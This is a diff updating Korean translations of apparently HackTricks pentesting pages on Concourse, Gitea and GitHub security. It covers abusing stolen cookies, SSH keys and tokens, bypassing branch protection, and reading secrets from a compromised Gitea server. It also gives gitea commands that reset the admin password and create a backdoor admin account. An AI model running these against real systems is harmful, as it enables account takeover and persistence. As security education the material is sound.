-- the [`load_var` 단계](https://concourse-ci.org/load-var-step.html)는 값을 [로컬 변수](https://concourse-ci.org/vars.html#local-vars)에 로드합니다.
-- the [`in_parallel` 단계](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다.
-- the [`do` 단계](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다.
-- the [`across` 단계 수정자](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 조합마다 한 번씩 단계를 여러 번 실행합니다.
-- the [`try` 단계](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다.
+- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **는** [**task**](https://concourse-ci.org/tasks.html)를 실행합니다.
+- the [`get` step](https://concourse-ci.org/get-step.html)는 [resource](https://concourse-ci.org/resources.html)를 가져옵니다.
+- the [`put` step](https://concourse-ci.org/put-step.html)는 [resource](https://concourse-ci.org/resources.html)를 업데이트합니다.
+- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html)는 [pipeline](https://concourse-ci.org/pipelines.html)을 구성합니다.
+- the [`load_var` step](https://concourse-ci.org/load-var-step.html)는 값을 [local var](https://concourse-ci.org/vars.html#local-vars)에 로드합니다.
+- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다.
+- the [`do` step](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다.
+- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 조합마다 한 번씩 단계를 여러 번 실행합니다.
+- the [`try` step](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다.
-각 [단계](https://concourse-ci.org/steps.html)는 [작업 계획](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다.
+각 [step](https://concourse-ci.org/steps.html)은 [job plan](https://concourse-ci.org/jobs.html#schema.job.plan)에서 **자신의 컨테이너**에서 실행됩니다. 컨테이너 내에서 원하는 모든 것을 실행할 수 있습니다 _(예: 내 테스트 실행, 이 bash 스크립트 실행, 이 이미지 빌드 등)_. 따라서 다섯 개의 단계가 있는 작업이 있다면 Concourse는 각 단계마다 하나씩 다섯 개의 컨테이너를 생성합니다.
-따라서 각 단계가 실행되어야 하는 컨테이너의 유형을 지정하는 것이 가능합니다.
+따라서 각 단계가 실행될 컨테이너의 유형을 지정하는 것이 가능합니다.
### 간단한 파이프라인 예제
```yaml
@@ -123,15 +123,15 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-Check **127.0.0.1:8080** to see the pipeline flow.
+**127.0.0.1:8080**에서 파이프라인 흐름을 확인하세요.
-### Bash script with output/input pipeline
+### 출력/입력 파이프라인이 있는 Bash 스크립트
-하나의 작업의 **결과를 파일에 저장**하고 그것이 출력임을 나타낸 다음, 다음 작업의 입력을 이전 작업의 출력으로 나타낼 수 있습니다. concourse가 하는 것은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다**.
+**하나의 작업 결과를 파일에 저장**하고 이를 출력으로 표시한 다음, 다음 작업의 입력을 이전 작업의 출력으로 표시할 수 있습니다. concourse가 하는 일은 **이전 작업의 디렉토리를 새로운 작업에 마운트하여 이전 작업에서 생성된 파일에 접근할 수 있게 하는 것입니다.**
-### Triggers
+### 트리거
-작업을 수동으로 매번 실행할 필요 없이, 매번 실행되도록 프로그래밍할 수 있습니다:
+작업을 수동으로 매번 실행할 필요는 없으며, 매번 실행되도록 프로그래밍할 수도 있습니다:
- 시간이 경과함: [Time resource](https://github.com/concourse/time-resource/)
- 메인 브랜치에 새로운 커밋이 있을 때: [Git resource](https://github.com/concourse/git-resource)
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 8f6680832..2cd38f1dd 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -41,7 +41,7 @@ helm install gitea gitea-charts/gitea
### 사용자 자격 증명/웹 쿠키로
-어떻게든 조직 내 사용자의 자격 증명을 이미 가지고 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 저장소에 대해 어떤 권한이 있는지**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, **저장소가 어떻게 보호되는지** 확인할 수 있습니다.
+조직 내의 사용자에 대한 자격 증명이 있거나 (세션 쿠키를 훔쳤다면) **그냥 로그인**하여 **어떤 권한이 있는지** 확인할 수 있습니다. **어떤 저장소에서**, **어떤 팀에 속해 있는지**, **다른 사용자 목록**, 그리고 **저장소가 어떻게 보호되는지** 확인할 수 있습니다.
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
@@ -52,55 +52,55 @@ helm install gitea gitea-charts/gitea
Gitea는 **사용자**가 **코드를 배포하기 위한 인증 방법으로 사용할 **SSH 키**를 설정할 수 있도록 허용합니다 (2FA가 적용되지 않음).
-이 키를 사용하여 **사용자가 일부 권한을 가진 저장소에서 변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다:
+이 키를 사용하여 사용자가 일부 권한을 가진 저장소에서 **변경을 수행할 수 있지만**, gitea API에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 저장소 및 사용자에 대한 정보를 얻을 수 있습니다:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
+사용자가 자신의 gitea 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
-**SSH 키**는 **배포 키**로 저장소에 설정할 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 키와 관련된 정보를 제공합니다.
+**SSH 키**는 **배포 키**로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **저장소에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
#### GPG 키
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
-현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오:
+현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
```shell
gpg --list-secret-keys --keyid-format=long
```
-### 사용자 토큰으로
+### 사용자 토큰 사용
[**사용자 토큰에 대한 기본 정보**](basic-gitea-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
사용자 토큰은 Gitea 서버에 **인증**하기 위해 **비밀번호 대신** 사용할 수 있으며 [**API를 통해**](https://try.gitea.io/api/swagger#/). 사용자에 대한 **완전한 접근** 권한을 가집니다.
-### Oauth 애플리케이션으로
+### Oauth 애플리케이션 사용
[**Gitea Oauth 애플리케이션에 대한 기본 정보**](./#with-oauth-application)를 확인하여 소개를 참조하세요.
-공격자는 피싱 캠페인의 일환으로 사용자들이 수락할 가능성이 있는 **악성 Oauth 애플리케이션**을 생성하여 사용자들의 특권 데이터/작업에 접근할 수 있습니다.
+공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하여 특권 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
-기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근** 권한을 가집니다.
+기본 정보에서 설명한 바와 같이, 애플리케이션은 **사용자 계정에 대한 전체 접근 권한**을 가집니다.
### 브랜치 보호 우회
-Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있어 브랜치 보호를 **우회**하는 데 사용할 수 있습니다. 이 경우 **존재하지 않으므로** 우회가 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다:
+Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻는 **github actions**가 있습니다. 이를 통해 **브랜치 보호를 우회**할 수 있습니다. 이 경우 **존재하지 않으므로** 우회 방법이 더 제한적입니다. 하지만 어떤 작업을 할 수 있는지 살펴보겠습니다:
- **푸시 활성화**: 쓰기 접근 권한이 있는 사람이 브랜치에 푸시할 수 있다면, 그냥 푸시하세요.
- **제한된 푸시 화이트리스트**: 이 목록의 일원이라면 브랜치에 푸시하세요.
- **병합 화이트리스트 활성화**: 병합 화이트리스트가 있다면, 그 안에 있어야 합니다.
- **승인 요구가 0보다 큼**: 그러면... 다른 사용자를 타협해야 합니다.
- **화이트리스트에 제한된 승인**: 화이트리스트에 있는 사용자만 승인할 수 있다면... 그 목록에 있는 다른 사용자를 타협해야 합니다.
-- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않으면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다.
+- **오래된 승인 무효화**: 새로운 커밋으로 승인이 제거되지 않는다면, 이미 승인된 PR을 탈취하여 코드를 주입하고 PR을 병합할 수 있습니다.
**조직/레포 관리자**라면 보호를 우회할 수 있습니다.
### 웹훅 열거
**웹훅**은 **특정 gitea 정보를 일부 장소로 전송**할 수 있습니다. 이 **통신을 악용**할 수 있습니다.\
-그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 URL을 아는 외부 사용자가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\
+그러나 일반적으로 **비밀**이 **웹훅**에 설정되어 있어 **URL을 아는 외부 사용자**가 비밀을 모르면 **웹훅을 악용**할 수 없습니다.\
하지만 어떤 경우에는 사람들이 **비밀**을 제자리에 설정하는 대신 **URL**에 매개변수로 설정하기 때문에, **URL을 확인**하면 **비밀**과 추가로 악용할 수 있는 다른 장소를 **찾을 수** 있습니다.
웹훅은 **레포 및 조직 수준**에서 설정할 수 있습니다.
@@ -109,21 +109,21 @@ Github에서는 기본적으로 **쓰기 접근 권한이 있는 토큰**을 얻
### 서버 내부
-어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 검색해야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다.
+어떻게든 gitea가 실행되고 있는 서버에 들어갔다면 gitea 구성 파일을 찾아야 합니다. 기본적으로 `/data/gitea/conf/app.ini`에 위치합니다.
이 파일에서 **키**와 **비밀번호**를 찾을 수 있습니다.
gitea 경로(기본값: /data/gitea)에서도 다음과 같은 흥미로운 정보를 찾을 수 있습니다:
- **sqlite** DB: gitea가 외부 DB를 사용하지 않는 경우 sqlite DB를 사용합니다.
-- **세션** 폴더 내의 **세션**: `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다 (gitea는 세션을 DB에 저장할 수도 있습니다).
-- **jwt 개인 키**가 jwt 폴더에 있습니다.
+- **세션**: 세션 폴더 내에서 `cat sessions/*/*/*`를 실행하면 로그인한 사용자의 사용자 이름을 볼 수 있습니다(또한 gitea는 DB 내에 세션을 저장할 수 있습니다).
+- **jwt 개인 키**: jwt 폴더 내에 있습니다.
- 이 폴더에서 더 많은 **민감한 정보**를 찾을 수 있습니다.
서버 내부에 있다면 **`gitea` 바이너리**를 사용하여 정보를 접근/수정할 수 있습니다:
- `gitea dump`는 gitea를 덤프하고 .zip 파일을 생성합니다.
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다 (지속성).
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`는 지정된 유형의 토큰을 생성합니다(지속성).
- `gitea admin user change-password --username admin --password newpassword` 비밀번호를 변경합니다.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 새 관리자 사용자를 생성하고 접근 토큰을 받습니다.
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index b1fd15a77..eb788e103 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,11 +4,11 @@
## Basic Structure
-기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 github와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다.
+기본 Gitea 환경 구조는 **조직**별로 리포를 그룹화하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 그러나 GitHub와 마찬가지로 사용자는 조직 외부에 리포를 가질 수 있습니다.
-또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 각 리포지토리에 대해 **다른 권한**을 가질 수 있습니다.
+또한, **사용자**는 **다양한 조직의 구성원**이 될 수 있습니다. 조직 내에서 사용자는 **각 리포지토리에 대한 서로 다른 권한**을 가질 수 있습니다.
-사용자는 또한 **다양한 팀의 일원**이 되어 서로 다른 리포에 대해 다른 권한을 가질 수 있습니다.
+사용자는 또한 **서로 다른 리포에 대한 서로 다른 권한**을 가진 **다양한 팀의 일원**이 될 수 있습니다.
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다.**
@@ -18,18 +18,18 @@
**조직이 생성될 때** **Owners**라는 팀이 **생성**되고 사용자가 그 안에 배치됩니다. 이 팀은 **조직에 대한 관리자 접근**을 제공합니다. 이 **권한**과 팀의 **이름**은 **수정할 수 없습니다.**
-**Org admins**(소유자)는 조직의 **가시성**을 선택할 수 있습니다:
+**Org admins** (소유자)는 조직의 **가시성**을 선택할 수 있습니다:
- 공개
-- 제한됨 (로그인한 사용자만)
-- 비공개 (회원만)
+- 제한 (로그인한 사용자만)
+- 비공개 (구성원만)
**Org admins**는 또한 **리포 관리자**가 팀에 대한 **접근을 추가하거나 제거**할 수 있는지 여부를 지정할 수 있습니다. 그들은 또한 최대 리포 수를 지정할 수 있습니다.
새 팀을 생성할 때 여러 중요한 설정이 선택됩니다:
-- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모든 리포.
-- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 해당 리포에 대한 관리자 접근을 받습니다).
+- 팀 구성원이 접근할 수 있는 **조직의 리포**가 지정됩니다: 특정 리포(팀이 추가된 리포) 또는 모두.
+- **구성원이 새 리포를 생성할 수 있는지**도 지정됩니다 (생성자는 관리자 접근을 받습니다).
- 리포의 **구성원**이 **가질 권한**:
- **관리자** 접근
- **특정** 접근:
@@ -38,7 +38,7 @@
### Teams & Users
-리포에서 **org admin**과 **리포 관리자**(조직에서 허용된 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **3**가지 **역할**이 있습니다:
+리포에서 **org admin**과 **리포 관리자**(조직에서 허용하는 경우)는 협력자(다른 사용자)와 팀에게 부여된 **역할**을 **관리**할 수 있습니다. 가능한 **역할**은 **3**가지입니다:
- 관리자
- 쓰기
@@ -52,7 +52,7 @@
### **SSH Keys**
-하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 합니다. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+하나 이상의 공개 키로 계정을 구성할 수 있으며, 관련된 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록 허용합니다.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
@@ -64,7 +64,7 @@
### Oauth Applications
-개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 대해 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급된 바와 같이, 범위는 아직 지원되지 않습니다:
+개인 접근 토큰과 마찬가지로 **Oauth 애플리케이션**은 귀하의 계정과 귀하의 계정이 접근할 수 있는 장소에 **완전한 접근**을 가집니다. [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)에서 언급했듯이, 범위는 아직 지원되지 않습니다:
.png>)
@@ -74,14 +74,14 @@
## Branch Protections
-브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **일부 브랜치에 코드를 작성하기 전에 여러 보호 방법을 설정하는 것입니다.**
+브랜치 보호는 **사용자에게 리포지토리에 대한 완전한 제어를 주지 않도록 설계되었습니다.** 목표는 **코드를 특정 브랜치에 작성하기 전에 여러 보호 방법을 설정하는 것입니다.**
-**리포지토리의 브랜치 보호**는 _https://localhost:3000/\/\/settings/branches_에서 찾을 수 있습니다.
+리포지토리의 **브랜치 보호**는 _https://localhost:3000/\/\/settings/branches_에서 찾을 수 있습니다.
> [!NOTE]
-> 조직 수준에서 브랜치 보호를 설정하는 것은 **불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다.
+> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다.** 따라서 모든 보호는 각 리포에서 선언해야 합니다.
-브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: master):
+브랜치에 적용할 수 있는 다양한 보호가 있습니다(예: 마스터):
- **푸시 비활성화**: 아무도 이 브랜치에 푸시할 수 없습니다.
- **푸시 활성화**: 접근 권한이 있는 누구나 푸시할 수 있지만 강제 푸시는 불가능합니다.
@@ -89,7 +89,7 @@
- **병합 화이트리스트 활성화**: 화이트리스트에 있는 사용자/팀만 PR을 병합할 수 있습니다.
- **상태 검사 활성화:** 병합 전에 상태 검사가 통과해야 합니다.
- **승인 요구**: PR을 병합하기 전에 필요한 승인 수를 나타냅니다.
-- **화이트리스트에 대한 승인 제한**: PR을 승인할 수 있는 사용자/팀을 나타냅니다.
+- **화이트리스트에 제한된 승인**: PR을 승인할 수 있는 사용자/팀을 나타냅니다.
- **거부된 리뷰에서 병합 차단**: 변경 요청이 있는 경우 병합할 수 없습니다(다른 검사가 통과하더라도).
- **공식 리뷰 요청에서 병합 차단**: 공식 리뷰 요청이 있는 경우 병합할 수 없습니다.
- **오래된 승인 무효화**: 새로운 커밋이 있을 때 오래된 승인은 무효화됩니다.
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index f429e7e13..820e839ca 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -4,7 +4,7 @@
## What is Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다.**
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 높은 수준에서, **GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다**.
### Basic Information
@@ -34,7 +34,7 @@ Github는 **사용자, 리포지토리 또는 조직을 범위로 지정하여
### Github Leaks
-Github dorks는 또한 github 검색 옵션을 사용하여 유출을 검색하는 데 사용됩니다. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하기도 함).
+github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용된다는 점에 유의하십시오. 이 섹션은 **각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구**에 전념하고 있습니다 (특정 깊이의 커밋을 확인하는 것 포함).
도구 (각 도구는 자신의 regex 목록을 포함합니다):
@@ -47,15 +47,15 @@ Github dorks는 또한 github 검색 옵션을 사용하여 유출을 검색하
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **비밀을 포함하는 다른 커밋이 있는 다른 브랜치**가 있을 수 있음을 잊지 마세요!
+> 리포지토리에서 유출을 찾고 `git log -p`와 같은 명령을 실행할 때 **다른 커밋이 포함된 다른 브랜치**가 있을 수 있음을 잊지 마십시오!
### External Forks
-**풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 알기 위해서는 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하세요**](./#execution-from-a-external-fork).
+**풀 요청을 악용하여 리포지토리를 손상시킬 수 있습니다**. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. [**자세한 정보는 아래를 참조하십시오**](./#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
-삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요:
+삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하십시오:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -69,14 +69,14 @@ accessible-deleted-data-in-github.md
- **기본 권한**: 구성원은 조직 리포지토리에 대해 None/Read/write/Admin 권한을 가집니다. 권장되는 것은 **None** 또는 **Read**입니다.
- **리포지토리 포크**: 필요하지 않다면 구성원이 조직 리포지토리를 포크하는 것을 **허용하지 않는 것이 좋습니다**.
-- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공식 페이지 생성을 허용할 수 있습니다.
+- **페이지 생성**: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 **허용하지 않는 것이 좋습니다**. 필요하다면 공개 또는 비공개 페이지 생성을 허용할 수 있습니다.
- **통합 접근 요청**: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
-- **리포지토리 가시성 변경**: 활성화되면 **리포지토리**에 대한 **admin** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하세요.
+- **리포지토리 가시성 변경**: 활성화되면 **관리자** 권한을 가진 **구성원**이 **가시성을 변경할 수 있습니다**. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 **공개**로 만들지 않기를 원한다면 이 기능이 **비활성화**되어 있는지 확인하십시오.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
-- **리포지토리 삭제 및 전송**: 활성화되면 리포지토리에 대한 **admin** 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
+- **리포지토리 삭제 및 전송**: 활성화되면 관리자 권한을 가진 구성원이 공개 및 비공식 **리포지토리**를 **삭제**하거나 **전송**할 수 있습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
-- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 **구성원**이 새로운 **팀**을 **생성**할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
+- **구성원이 팀을 생성할 수 있도록 허용**: 활성화되면 조직의 모든 **구성원**이 **새 팀을 생성**할 수 있습니다. 비활성화되면 조직 소유자만 새 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
- _이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요._
- **이 페이지에서 더 많은 설정을 구성할 수 있지만, 이전 항목들이 보안과 관련된 것들입니다.**
@@ -85,50 +85,50 @@ accessible-deleted-data-in-github.md
여러 보안 관련 설정을 `https://github.com/organizations//settings/actions` 페이지에서 구성할 수 있습니다.
> [!NOTE]
-> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있습니다.
+> 이 모든 구성은 각 리포지토리에서 독립적으로 설정할 수 있다는 점에 유의하십시오.
- **Github actions 정책**: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. **허용해야 할 리포지토리**를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **외부 협력자의 풀 리퀘스트 워크플로 포크**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
-- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
-- **풀 리퀘스트에서 워크플로 실행**: **풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
-- _이 정보가 포함된 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
-- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
+- **외부 협력자의 포크 풀 요청 워크플로**: 모든 외부 협력자에게 승인을 **요구하는 것이 좋습니다**.
+- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
+- **포크 풀 요청에서 워크플로 실행**: **풀 요청에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다**. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
+- _이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요._
+- **워크플로 권한**: **읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다**. GITHUB_TOKEN이 실행 중인 워크플로에 남용되지 않도록 쓰기 및 풀 요청 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
-_이 정보에 접근할 수 있는 API 엔드포인트를 아신다면 알려주세요!_
+_이 정보에 접근할 수 있는 API 엔드포인트를 아는 분은 알려주세요!_
- **타사 애플리케이션 접근 정책**: 모든 애플리케이션에 대한 접근을 제한하고 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
- **설치된 GitHub Apps**: 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
## Recon & Attacks abusing credentials
-이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다.
+이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정하겠습니다.
### With User Credentials
-조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 **일반 구성원이 가진 권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 **어떤 권한**을 가지고 있는지, 그리고 **리포지토리가 어떻게 보호되는지** 확인하세요.
+조직 내 사용자에 대한 자격 증명이 있는 경우 **로그인**하여 **기업 및 조직 역할**을 확인할 수 있습니다. 일반 구성원인 경우 일반 구성원이 가진 **권한**, 어떤 **그룹**에 속해 있는지, 어떤 **리포지토리**에 대해 어떤 **권한**을 가지고 있는지, 그리고 **리포지토리**가 어떻게 보호되고 있는지를 확인하십시오.
**2FA가 사용될 수 있으므로** 이 정보를 얻으려면 **그 검사를 통과해야만** 합니다.
> [!NOTE]
> `user_session` 쿠키를 **훔치는 데 성공하면** (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 **사용자를 완전히 가장할 수 있습니다**.
-유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하세요.
+유용할 경우 [**브랜치 보호 우회**](./#branch-protection-bypass) 섹션을 확인하십시오.
### With User SSH Key
Github는 **사용자**가 **SSH 키**를 설정하여 자신의 이름으로 코드를 배포하는 **인증 방법**으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음).
